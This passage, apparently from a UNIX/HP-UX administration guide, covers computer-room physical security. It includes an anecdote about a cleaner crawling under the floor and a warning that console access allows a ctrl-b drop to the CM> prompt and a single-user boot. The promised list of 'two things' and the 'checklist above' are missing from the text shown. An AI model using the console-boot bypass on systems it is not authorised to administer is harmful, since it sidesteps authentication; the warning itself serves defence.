Another aspect of computer-room security deals with firewalls and external walls. In one incident I was privy to, a cleaner was adamant that he had to clean the computer room, even though he was now disallowed due to the sensitive nature of the data held within. Not to be outdone, this smart individual decided to lift a floor tile and crawl under the (supposed) highly secure perimeter security into the computer room. We could not work out how our strategically positioned dirty coffee cups were being cleared away every evening until we decided to stay back one evening, hide behind a rack of tapes, and watch.

It is worth remembering that anyone who can sit in front of a system console can usually enter a ctrl-b keystroke and get to a CM> (command prompt) whereby they can reset the system and then initiate a single-user mode boot. You need to think about two things:

A comprehensive checklist of security-related topics that covers UNIX is in the excellent book by Garfinkel and Spafford, Practical UNIX and Internet Security, 2nd edition, Appendix A, page 819. It should be noted that HP-UX specific details covered in the checklist above might not necessarily be covered in the Garfinkel and Spafford book.